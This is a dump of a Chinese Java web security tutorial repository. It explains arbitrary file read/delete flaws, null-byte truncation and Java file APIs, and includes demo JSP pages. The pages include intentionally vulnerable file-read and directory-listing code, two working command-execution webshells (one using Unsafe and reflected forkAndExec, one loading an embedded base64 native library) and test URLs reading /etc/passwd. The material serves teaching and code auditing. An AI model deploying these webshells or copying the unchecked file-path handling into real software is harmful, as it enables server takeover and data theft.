" + new String(baos.toByteArray()) + ""); 132 | 133 | fis.close(); 134 | %> 135 | ``` 136 | 137 | 任意文件读取测试:`http://localhost:8080/file-read.jsp?path=/etc/passwd` 138 | 139 |  140 | 141 | 142 | 143 | **任意文件删除示例代码file-delete.jsp:** 144 | 145 | ```jsp 146 | <%@ page contentType="text/html;charset=UTF-8" language="java" %> 147 | <%@ page import="java.io.File" %> 148 | <% 149 | String fileName = request.getParameter("file"); 150 | 151 | if (fileName != null) { 152 | // 创建文件对象 153 | File file = new File(fileName); 154 | 155 | if (file.exists()) { 156 | file.delete();// 删除文件 157 | 158 | out.println(fileName + "删除成功!"); 159 | } else { 160 | out.println("文件不存在!"); 161 | } 162 | } 163 | %> 164 | ``` 165 | 166 | 任意文件删除测试:`http://localhost:8080/file-delete.jsp?file=/tmp/test.txt` 167 | 168 |  169 | 170 | 171 | 172 | **任意文件读/写/删除漏洞修复** 173 | 174 | 修改方案主要是严格校验用户输入的文件名和目录是否合法,可参考本节的任意目录遍历漏洞修复方式。 175 | 176 | 177 | 178 | ## Java 恶意文件访问审计建议 179 | 180 | 在审计文件读取功能的时候要非常仔细,或许很容易就会有意想不到的收获!快速发现这类漏洞得方式其实也是非常简单的,在IDEA中的项目中重点搜下如下文件读取的类。 181 | 182 | 1. **JDK原始的`java.io.FileInputStream`、`java.io.FileOutputStream`类** 183 | 2. **JDK原始的`java.io.RandomAccessFile`类** 184 | 3. **Apache Commons IO提供的`org.apache.commons.io.FileUtils`类** 185 | 4. JDK1.7新增的基于NIO非阻塞异步读取文件的`java.nio.channels.AsynchronousFileChannel`类。 186 | 5. JDK1.7新增的基于NIO读取文件的`java.nio.file.Files`类。常用方法如:`Files.readAllBytes`、`Files.readAllLines` 187 | 6. `java.io.File`类的`list`、`listFiles`、`listRoots`、`delete`方法。 188 | 189 | 如果仍没有什么发现可以搜索一下`FileUtil`很有可能用户会封装文件操作的工具类。 190 | 191 | ## Java 恶意文件访问总结 192 | 193 | 首先,在Java中任意文件或目录恶意访问漏洞是一种非常常见的高危漏洞!多是因为程序内部逻辑错误或者过于信任用户传入的参数导致的。其次此类漏洞原理简单在渗透测试或代码审计时非常容易发现且漏洞影响重大,因为攻击者可以直接操纵服务器中的文件或目录,所以在程序开发过程中我们应该高度重视编码规范、程序逻辑严谨性防止该漏洞发生。 -------------------------------------------------------------------------------- /gitbook/javase/FileSystem/JavaNullByteFileName.md: -------------------------------------------------------------------------------- 1 | # Java 文件名空字节截断漏洞 2 | 3 | 空字节截断漏洞漏洞在诸多编程语言中都存在,究其根本是Java在调用文件系统(C实现)读写文件时导致的漏洞,并不是Java本身的安全问题。不过好在高版本的JDK在处理文件时已经把空字节文件名进行了安全检测处理。 4 | 5 | 6 | 7 | ## 文件名空字节漏洞历史 8 | 9 | 2013年9月10日发布的`Java SE 7 Update 40`修复了空字节截断这个历史遗留问题。此次更新在`java.io.File`类中添加了一个`isInvalid`方法,专门检测文件名中是否包含了空字节。 10 | 11 | ```java 12 | /** 13 | * Check if the file has an invalid path. Currently, the inspection of 14 | * a file path is very limited, and it only covers Nul character check. 15 | * Returning true means the path is definitely invalid/garbage. But 16 | * returning false does not guarantee that the path is valid. 17 | * 18 | * @return true if the file path is invalid. 19 | */ 20 | final boolean isInvalid() { 21 | if (status == null) { 22 | status = (this.path.indexOf('\u0000') < 0) ? PathStatus.CHECKED 23 | : PathStatus.INVALID; 24 | } 25 | return status == PathStatus.INVALID; 26 | } 27 | ``` 28 | 29 | 修复的JDK版本所有跟文件名相关的操作都调用了`isInvalid`方法检测,防止文件名空字节截断。 30 | 31 |  32 | 33 | 修复前(`Java SE 7 Update 25`)和修复后(`Java SE 7 Update 40`)的对比会发现`Java SE 7 Update 25`中的`java.io.File`类中并未添加`\u0000`的检测。 34 | 35 |  36 | 37 | 受空字节截断影响的JDK版本范围:`JDK<1.7.40`,单是JDK7于2011年07月28日发布至2013年09月10日发表`Java SE 7 Update 40`这两年多期间受影响的就有16个版本,值得注意的是JDK1.6虽然JDK7修复之后发布了数十个版本,但是并没有任何一个版本修复过这个问题,而JDK8发布时间在JDK7修复以后所以并不受此漏洞影响。 38 | 39 | 参考: 40 | 41 | 1. [JDK-8014846 : File and other classes in java.io do not handle embedded nulls properly](https://bugs.java.com/bugdatabase/view_bug.do?bug_id=8014846)。 42 | 2. [维基百科-Java版本歷史](https://zh.wikipedia.org/wiki/Java版本歷史) 43 | 3. [Oracle Java 历史版本下载](https://www.oracle.com/technetwork/java/javase/archive-139210.html) 44 | 45 | 46 | 47 | ## Java文件名空截断测试 48 | 49 | 测试类`FileNullBytes.java`: 50 | 51 | ```java 52 | package com.anbai.sec.filesystem; 53 | 54 | import java.io.File; 55 | import java.io.FileOutputStream; 56 | import java.io.IOException; 57 | 58 | /** 59 | * @author yz 60 | */ 61 | public class FileNullBytes { 62 | 63 | public static void main(String[] args) { 64 | try { 65 | String fileName = "/tmp/null-bytes.txt\u0000.jpg"; 66 | FileOutputStream fos = new FileOutputStream(new File(fileName)); 67 | fos.write("Test".getBytes()); 68 | fos.flush(); 69 | fos.close(); 70 | } catch (IOException e) { 71 | e.printStackTrace(); 72 | } 73 | } 74 | 75 | } 76 | ``` 77 | 78 | 使用`JDK1.7.0.25`测试成功截断文件名: 79 | 80 |  81 | 82 | 使用`JDK1.7.0.80`测试写文件截断时抛出`java.io.FileNotFoundException: Invalid file path`异常: 83 | 84 |  85 | 86 | 87 | 88 | ## 空字节截断利用场景 89 | 90 | Java空字节截断利用场景最常见的利用场景就是`文件上传`时后端获取文件名后使用了`endWith`、正则使用如:`.(jpg|png|gif)$`验证文件名后缀合法性且文件名最终原样保存,同理文件删除(`delete`)、获取文件路径(`getCanonicalPath`)、创建文件(`createNewFile`)、文件重命名(`renameTo`)等方法也可适用。 91 | 92 | 93 | 94 | ## 空字节截断修复方案 95 | 96 | 最简单直接的方式就是升级JDK,如果担心升级JDK出现兼容性问题可在文件操作时检测下文件名中是否包含空字节,如JDK的修复方式:`fileName.indexOf('\u0000')`即可。 -------------------------------------------------------------------------------- /gitbook/javase/FileSystem/JavaReadAndWriteFile.md: -------------------------------------------------------------------------------- 1 | # Java IO/NIO多种读写文件方式 2 | 3 | 上一章节我们提到了Java 对文件的读写分为了基于阻塞模式的IO和非阻塞模式的NIO,本章节我将列举一些我们常用于读写文件的方式。 4 | 5 | 我们通常读写文件都是使用的阻塞模式,与之对应的也就是`java.io.FileSystem`。`java.io.FileInputStream`类提供了对文件的读取功能,Java的其他读取文件的方法基本上都是封装了`java.io.FileInputStream`类,比如:`java.io.FileReader`。 6 | 7 | ## FileInputStream 8 | 9 | **使用FileInputStream实现文件读取Demo:** 10 | 11 | ```java 12 | package com.anbai.sec.filesystem; 13 | 14 | import java.io.*; 15 | 16 | /** 17 | * Creator: yz 18 | * Date: 2019/12/4 19 | */ 20 | public class FileInputStreamDemo { 21 | 22 | public static void main(String[] args) throws IOException { 23 | File file = new File("/etc/passwd"); 24 | 25 | // 打开文件对象并创建文件输入流 26 | FileInputStream fis = new FileInputStream(file); 27 | 28 | // 定义每次输入流读取到的字节数对象 29 | int a = 0; 30 | 31 | // 定义缓冲区大小 32 | byte[] bytes = new byte[1024]; 33 | 34 | // 创建二进制输出流对象 35 | ByteArrayOutputStream out = new ByteArrayOutputStream(); 36 | 37 | // 循环读取文件内容 38 | while ((a = fis.read(bytes)) != -1) { 39 | // 截取缓冲区数组中的内容,(bytes, 0, a)其中的0表示从bytes数组的 40 | // 下标0开始截取,a表示输入流read到的字节数。 41 | out.write(bytes, 0, a); 42 | } 43 | 44 | System.out.println(out.toString()); 45 | } 46 | 47 | } 48 | ``` 49 | 50 | 输出结果如下: 51 | 52 | ```xml 53 | ## 54 | # User Database 55 | # 56 | # Note that this file is consulted directly only when the system is running 57 | # in single-user mode. At other times this information is provided by 58 | # Open Directory. 59 | # 60 | # See the opendirectoryd(8) man page for additional information about 61 | # Open Directory. 62 | ## 63 | nobody:*:-2:-2:Unprivileged User:/var/empty:/usr/bin/false 64 | root:*:0:0:System Administrator:/var/root:/bin/sh 65 | daemon:*:1:1:System Services:/var/root:/usr/bin/false 66 | .....内容过长省去多余内容 67 | ``` 68 | 69 | 调用链如下: 70 | 71 | ```java 72 | java.io.FileInputStream.readBytes(FileInputStream.java:219) 73 | java.io.FileInputStream.read(FileInputStream.java:233) 74 | com.anbai.sec.filesystem.FileInputStreamDemo.main(FileInputStreamDemo.java:27) 75 | ``` 76 | 77 | 其中的readBytes是native方法,文件的打开、关闭等方法也都是native方法: 78 | 79 | ```java 80 | private native int readBytes(byte b[], int off, int len) throws IOException; 81 | private native void open0(String name) throws FileNotFoundException; 82 | private native int read0() throws IOException; 83 | private native long skip0(long n) throws IOException; 84 | private native int available0() throws IOException; 85 | private native void close0() throws IOException; 86 | ``` 87 | 88 | `java.io.FileInputStream`类对应的native实现如下: 89 | 90 | ```c 91 | JNIEXPORT void JNICALL 92 | Java_java_io_FileInputStream_open0(JNIEnv *env, jobject this, jstring path) { 93 | fileOpen(env, this, path, fis_fd, O_RDONLY); 94 | } 95 | 96 | JNIEXPORT jint JNICALL 97 | Java_java_io_FileInputStream_read0(JNIEnv *env, jobject this) { 98 | return readSingle(env, this, fis_fd); 99 | } 100 | 101 | JNIEXPORT jint JNICALL 102 | Java_java_io_FileInputStream_readBytes(JNIEnv *env, jobject this, 103 | jbyteArray bytes, jint off, jint len) { 104 | return readBytes(env, this, bytes, off, len, fis_fd); 105 | } 106 | 107 | JNIEXPORT jlong JNICALL 108 | Java_java_io_FileInputStream_skip0(JNIEnv *env, jobject this, jlong toSkip) { 109 | jlong cur = jlong_zero; 110 | jlong end = jlong_zero; 111 | FD fd = GET_FD(this, fis_fd); 112 | if (fd == -1) { 113 | JNU_ThrowIOException (env, "Stream Closed"); 114 | return 0; 115 | } 116 | if ((cur = IO_Lseek(fd, (jlong)0, (jint)SEEK_CUR)) == -1) { 117 | JNU_ThrowIOExceptionWithLastError(env, "Seek error"); 118 | } else if ((end = IO_Lseek(fd, toSkip, (jint)SEEK_CUR)) == -1) { 119 | JNU_ThrowIOExceptionWithLastError(env, "Seek error"); 120 | } 121 | return (end - cur); 122 | } 123 | 124 | JNIEXPORT jint JNICALL 125 | Java_java_io_FileInputStream_available0(JNIEnv *env, jobject this) { 126 | jlong ret; 127 | FD fd = GET_FD(this, fis_fd); 128 | if (fd == -1) { 129 | JNU_ThrowIOException (env, "Stream Closed"); 130 | return 0; 131 | } 132 | if (IO_Available(fd, &ret)) { 133 | if (ret > INT_MAX) { 134 | ret = (jlong) INT_MAX; 135 | } else if (ret < 0) { 136 | ret = 0; 137 | } 138 | return jlong_to_jint(ret); 139 | } 140 | JNU_ThrowIOExceptionWithLastError(env, NULL); 141 | return 0; 142 | } 143 | ``` 144 | 145 | 完整代码参考OpenJDK:[openjdk/src/java.base/share/native/libjava/FileInputStream.c](https://github.com/unofficial-openjdk/openjdk/blob/531ef5d0ede6d733b00c9bc1b6b3c14a0b2b3e81/src/java.base/share/native/libjava/FileInputStream.c) 146 | 147 | 148 | 149 | ## FileOutputStream 150 | 151 | 使用FileOutputStream实现写文件Demo: 152 | 153 | ```java 154 | package com.anbai.sec.filesystem; 155 | 156 | import java.io.File; 157 | import java.io.FileOutputStream; 158 | import java.io.IOException; 159 | 160 | /** 161 | * Creator: yz 162 | * Date: 2019/12/4 163 | */ 164 | public class FileOutputStreamDemo { 165 | 166 | public static void main(String[] args) throws IOException { 167 | // 定义写入文件路径 168 | File file = new File("/tmp/1.txt"); 169 | 170 | // 定义待写入文件内容 171 | String content = "Hello World."; 172 | 173 | // 创建FileOutputStream对象 174 | FileOutputStream fos = new FileOutputStream(file); 175 | 176 | // 写入内容二进制到文件 177 | fos.write(content.getBytes()); 178 | fos.flush(); 179 | fos.close(); 180 | } 181 | 182 | } 183 | ``` 184 | 185 | 代码逻辑比较简单: 打开文件->写内容->关闭文件,调用链和底层实现分析请参考`FileInputStream`。 186 | 187 | 188 | 189 | ## RandomAccessFile 190 | 191 | Java提供了一个非常有趣的读取文件内容的类: `java.io.RandomAccessFile`,这个类名字面意思是任意文件内容访问,特别之处是这个类不仅可以像`java.io.FileInputStream`一样读取文件,而且还可以写文件。 192 | 193 | RandomAccessFile读取文件测试代码: 194 | 195 | ```java 196 | package com.anbai.sec.filesystem; 197 | 198 | import java.io.*; 199 | 200 | /** 201 | * Creator: yz 202 | * Date: 2019/12/4 203 | */ 204 | public class RandomAccessFileDemo { 205 | 206 | public static void main(String[] args) { 207 | File file = new File("/etc/passwd"); 208 | 209 | try { 210 | // 创建RandomAccessFile对象,r表示以只读模式打开文件,一共有:r(只读)、rw(读写)、 211 | // rws(读写内容同步)、rwd(读写内容或元数据同步)四种模式。 212 | RandomAccessFile raf = new RandomAccessFile(file, "r"); 213 | 214 | // 定义每次输入流读取到的字节数对象 215 | int a = 0; 216 | 217 | // 定义缓冲区大小 218 | byte[] bytes = new byte[1024]; 219 | 220 | // 创建二进制输出流对象 221 | ByteArrayOutputStream out = new ByteArrayOutputStream(); 222 | 223 | // 循环读取文件内容 224 | while ((a = raf.read(bytes)) != -1) { 225 | // 截取缓冲区数组中的内容,(bytes, 0, a)其中的0表示从bytes数组的 226 | // 下标0开始截取,a表示输入流read到的字节数。 227 | out.write(bytes, 0, a); 228 | } 229 | 230 | System.out.println(out.toString()); 231 | } catch (IOException e) { 232 | e.printStackTrace(); 233 | } 234 | } 235 | 236 | } 237 | ``` 238 | 239 | 任意文件读取特性体现在如下方法: 240 | 241 | ```java 242 | // 获取文件描述符 243 | public final FileDescriptor getFD() throws IOException 244 | 245 | // 获取文件指针 246 | public native long getFilePointer() throws IOException; 247 | 248 | // 设置文件偏移量 249 | private native void seek0(long pos) throws IOException; 250 | ``` 251 | 252 | `java.io.RandomAccessFile`类中提供了几十个`readXXX`方法用以读取文件系统,最终都会调用到`read0`或者`readBytes`方法,我们只需要掌握如何利用`RandomAccessFile`读/写文件就行了。 253 | 254 | **RandomAccessFile写文件测试代码:** 255 | 256 | ```java 257 | package com.anbai.sec.filesystem; 258 | 259 | import java.io.File; 260 | import java.io.IOException; 261 | import java.io.RandomAccessFile; 262 | 263 | /** 264 | * Creator: yz 265 | * Date: 2019/12/4 266 | */ 267 | public class RandomAccessWriteFileDemo { 268 | 269 | public static void main(String[] args) { 270 | File file = new File("/tmp/test.txt"); 271 | 272 | // 定义待写入文件内容 273 | String content = "Hello World."; 274 | 275 | try { 276 | // 创建RandomAccessFile对象,rw表示以读写模式打开文件,一共有:r(只读)、rw(读写)、 277 | // rws(读写内容同步)、rwd(读写内容或元数据同步)四种模式。 278 | RandomAccessFile raf = new RandomAccessFile(file, "rw"); 279 | 280 | // 写入内容二进制到文件 281 | raf.write(content.getBytes()); 282 | raf.close(); 283 | } catch (IOException e) { 284 | e.printStackTrace(); 285 | } 286 | } 287 | 288 | } 289 | ``` 290 | 291 | 292 | 293 | ## FileSystemProvider 294 | 295 | 前面章节提到了JDK7新增的NIO.2的`java.nio.file.spi.FileSystemProvider`,利用`FileSystemProvider`我们可以利用支持异步的通道(`Channel`)模式读取文件内容。 296 | 297 | **FileSystemProvider读取文件内容示例:** 298 | 299 | ```java 300 | package com.anbai.sec.filesystem; 301 | 302 | import java.io.IOException; 303 | import java.nio.file.Files; 304 | import java.nio.file.Path; 305 | import java.nio.file.Paths; 306 | 307 | /** 308 | * Creator: yz 309 | * Date: 2019/12/4 310 | */ 311 | public class FilesDemo { 312 | 313 | public static void main(String[] args) { 314 | // 通过File对象定义读取的文件路径 315 | // File file = new File("/etc/passwd"); 316 | // Path path1 = file.toPath(); 317 | 318 | // 定义读取的文件路径 319 | Path path = Paths.get("/etc/passwd"); 320 | 321 | try { 322 | byte[] bytes = Files.readAllBytes(path); 323 | System.out.println(new String(bytes)); 324 | } catch (IOException e) { 325 | e.printStackTrace(); 326 | } 327 | } 328 | 329 | } 330 | ``` 331 | 332 | `java.nio.file.Files`是JDK7开始提供的一个对文件读写取非常便捷的API,其底层实在是调用了`java.nio.file.spi.FileSystemProvider`来实现对文件的读写的。最为底层的实现类是`sun.nio.ch.FileDispatcherImpl#read0`。 333 | 334 | 基于NIO的文件读取逻辑是:打开FileChannel->读取Channel内容。 335 | 336 | 打开FileChannel的调用链为: 337 | 338 | ```java 339 | sun.nio.ch.FileChannelImpl.
"); 29 | 30 | for (File file : dirs) { 31 | out.println(file.getName()); 32 | } 33 | 34 | out.println(""); 35 | } else { 36 | out.println("目录不合法!"); 37 | } 38 | } 39 | 40 | %> 41 | -------------------------------------------------------------------------------- /javaweb-sec-source/javase/src/main/webapp/file-list.jsp: -------------------------------------------------------------------------------- 1 | <%@ page import="java.io.File" %><%-- 2 | Created by IntelliJ IDEA. 3 | User: yz 4 | Date: 2019/12/4 5 | Time: 6:08 下午 6 | To change this template use File | Settings | File Templates. 7 | --%> 8 | <%@ page contentType="text/html;charset=UTF-8" language="java" %> 9 | <% 10 | // 定义需要遍历的目录 11 | String dirStr = request.getParameter("dir"); 12 | 13 | out.println("
"); 20 | 21 | for (File file : dirs) { 22 | out.println(file.getName()); 23 | } 24 | 25 | out.println(""); 26 | } 27 | 28 | %> 29 | -------------------------------------------------------------------------------- /javaweb-sec-source/javase/src/main/webapp/file-read.jsp: -------------------------------------------------------------------------------- 1 | <%@ page contentType="text/html;charset=UTF-8" language="java" %> 2 | <%@ page import="java.io.ByteArrayOutputStream" %> 3 | <%@ page import="java.io.File" %> 4 | <%@ page import="java.io.FileInputStream" %> 5 | 6 | <% 7 | File file = new File(request.getParameter("path")); 8 | FileInputStream fis = new FileInputStream(file); 9 | ByteArrayOutputStream baos = new ByteArrayOutputStream(); 10 | byte[] b = new byte[1024]; 11 | int a = -1; 12 | 13 | while ((a = fis.read(b)) != -1) { 14 | baos.write(b, 0, a); 15 | } 16 | 17 | out.write("
" + new String(baos.toByteArray()) + ""); 18 | 19 | fis.close(); 20 | %> -------------------------------------------------------------------------------- /javaweb-sec-source/javase/src/main/webapp/fork_and_exec.jsp: -------------------------------------------------------------------------------- 1 | <%@ page contentType="text/html;charset=UTF-8" language="java" %> 2 | <%@ page import="sun.misc.Unsafe" %> 3 | <%@ page import="java.io.ByteArrayOutputStream" %> 4 | <%@ page import="java.io.InputStream" %> 5 | <%@ page import="java.lang.reflect.Field" %> 6 | <%@ page import="java.lang.reflect.Method" %> 7 | <%! 8 | byte[] toCString(String s) { 9 | if (s == null) 10 | return null; 11 | byte[] bytes = s.getBytes(); 12 | byte[] result = new byte[bytes.length + 1]; 13 | System.arraycopy(bytes, 0, 14 | result, 0, 15 | bytes.length); 16 | result[result.length - 1] = (byte) 0; 17 | return result; 18 | } 19 | 20 | 21 | %> 22 | <% 23 | String[] strs = request.getParameterValues("cmd"); 24 | 25 | if (strs != null) { 26 | Field theUnsafeField = Unsafe.class.getDeclaredField("theUnsafe"); 27 | theUnsafeField.setAccessible(true); 28 | Unsafe unsafe = (Unsafe) theUnsafeField.get(null); 29 | 30 | Class processClass = null; 31 | 32 | try { 33 | processClass = Class.forName("java.lang.UNIXProcess"); 34 | } catch (ClassNotFoundException e) { 35 | processClass = Class.forName("java.lang.ProcessImpl"); 36 | } 37 | 38 | Object processObject = unsafe.allocateInstance(processClass); 39 | 40 | // Convert arguments to a contiguous block; it's easier to do 41 | // memory management in Java than in C. 42 | byte[][] args = new byte[strs.length - 1][]; 43 | int size = args.length; // For added NUL bytes 44 | 45 | for (int i = 0; i < args.length; i++) { 46 | args[i] = strs[i + 1].getBytes(); 47 | size += args[i].length; 48 | } 49 | 50 | byte[] argBlock = new byte[size]; 51 | int i = 0; 52 | 53 | for (byte[] arg : args) { 54 | System.arraycopy(arg, 0, argBlock, i, arg.length); 55 | i += arg.length + 1; 56 | // No need to write NUL bytes explicitly 57 | } 58 | 59 | int[] envc = new int[1]; 60 | int[] std_fds = new int[]{-1, -1, -1}; 61 | Field launchMechanismField = processClass.getDeclaredField("launchMechanism"); 62 | Field helperpathField = processClass.getDeclaredField("helperpath"); 63 | launchMechanismField.setAccessible(true); 64 | helperpathField.setAccessible(true); 65 | Object launchMechanismObject = launchMechanismField.get(processObject); 66 | byte[] helperpathObject = (byte[]) helperpathField.get(processObject); 67 | 68 | int ordinal = (int) launchMechanismObject.getClass().getMethod("ordinal").invoke(launchMechanismObject); 69 | 70 | Method forkMethod = processClass.getDeclaredMethod("forkAndExec", new Class[]{ 71 | int.class, byte[].class, byte[].class, byte[].class, int.class, 72 | byte[].class, int.class, byte[].class, int[].class, boolean.class 73 | }); 74 | 75 | forkMethod.setAccessible(true);// 设置访问权限 76 | 77 | int pid = (int) forkMethod.invoke(processObject, new Object[]{ 78 | ordinal + 1, helperpathObject, toCString(strs[0]), argBlock, args.length, 79 | null, envc[0], null, std_fds, false 80 | }); 81 | 82 | // 初始化命令执行结果,将本地命令执行的输出流转换为程序执行结果的输出流 83 | Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class); 84 | initStreamsMethod.setAccessible(true); 85 | initStreamsMethod.invoke(processObject, std_fds); 86 | 87 | // 获取本地执行结果的输入流 88 | Method getInputStreamMethod = processClass.getMethod("getInputStream"); 89 | getInputStreamMethod.setAccessible(true); 90 | InputStream in = (InputStream) getInputStreamMethod.invoke(processObject); 91 | 92 | ByteArrayOutputStream baos = new ByteArrayOutputStream(); 93 | int a = 0; 94 | byte[] b = new byte[1024]; 95 | 96 | while ((a = in.read(b)) != -1) { 97 | baos.write(b, 0, a); 98 | } 99 | 100 | out.println("
"); 101 | out.println(baos.toString()); 102 | out.println(""); 103 | out.flush(); 104 | out.close(); 105 | } 106 | %> -------------------------------------------------------------------------------- /javaweb-sec-source/javase/src/main/webapp/index.jsp: -------------------------------------------------------------------------------- 1 | 2 | 3 |
"); 106 | out.println(result); 107 | out.println(""); 108 | out.flush(); 109 | out.close(); 110 | } 111 | %> -------------------------------------------------------------------------------- /javaweb-sec-source/javase/src/main/webapp/load_library.jsp: -------------------------------------------------------------------------------- 1 | <%-- 2 | Created by IntelliJ IDEA. 3 | User: yz 4 | Date: 2019/12/6 5 | Time: 4:59 下午 6 | To change this template use File | Settings | File Templates. 7 | --%> 8 | <%@ page contentType="text/html;charset=UTF-8" language="java" %> 9 | <%@ page import="java.io.File" %> 10 | <%@ page import="java.lang.reflect.Method" %> 11 | <%@ page import="sun.misc.BASE64Decoder" %> 12 | <%@ page import="java.io.IOException" %> 13 | <%@ page import="java.io.FileOutputStream" %> 14 | <%! 15 | private static final String COMMAND_CLASS_NAME = "com.anbai.sec.cmd.CommandExecution"; 16 | 17 | /** 18 | * JDK1.5编译的com.anbai.sec.cmd.CommandExecution类字节码, 19 | * 只有一个public static native String exec(String cmd);的方法 20 | */ 21 | private static final byte[] COMMAND_CLASS_BYTES = new byte[]{ 22 | -54, -2, -70, -66, 0, 0, 0, 49, 0, 15, 10, 0, 3, 0, 12, 7, 0, 13, 7, 0, 14, 1, 23 | 0, 6, 60, 105, 110, 105, 116, 62, 1, 0, 3, 40, 41, 86, 1, 0, 4, 67, 111, 100, 24 | 101, 1, 0, 15, 76, 105, 110, 101, 78, 117, 109, 98, 101, 114, 84, 97, 98, 108, 25 | 101, 1, 0, 4, 101, 120, 101, 99, 1, 0, 38, 40, 76, 106, 97, 118, 97, 47, 108, 97, 26 | 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 76, 106, 97, 118, 97, 47, 108, 27 | 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 1, 0, 10, 83, 111, 117, 114, 28 | 99, 101, 70, 105, 108, 101, 1, 0, 21, 67, 111, 109, 109, 97, 110, 100, 69, 120, 29 | 101, 99, 117, 116, 105, 111, 110, 46, 106, 97, 118, 97, 12, 0, 4, 0, 5, 1, 0, 34, 30 | 99, 111, 109, 47, 97, 110, 98, 97, 105, 47, 115, 101, 99, 47, 99, 109, 100, 47, 67, 31 | 111, 109, 109, 97, 110, 100, 69, 120, 101, 99, 117, 116, 105, 111, 110, 1, 0, 16, 32 | 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 0, 33, 0, 33 | 2, 0, 3, 0, 0, 0, 0, 0, 2, 0, 1, 0, 4, 0, 5, 0, 1, 0, 6, 0, 0, 0, 29, 0, 1, 0, 1, 34 | 0, 0, 0, 5, 42, -73, 0, 1, -79, 0, 0, 0, 1, 0, 7, 0, 0, 0, 6, 0, 1, 0, 0, 0, 7, 1, 35 | 9, 0, 8, 0, 9, 0, 0, 0, 1, 0, 10, 0, 0, 0, 2, 0, 11 36 | }; 37 | 38 | // JNI文件Base64编码后的值,这里默认提供一份MacOS的JNI库文件用于测试,其他系统请自行编译 39 | private static final String COMMAND_JNI_FILE_BYTES = "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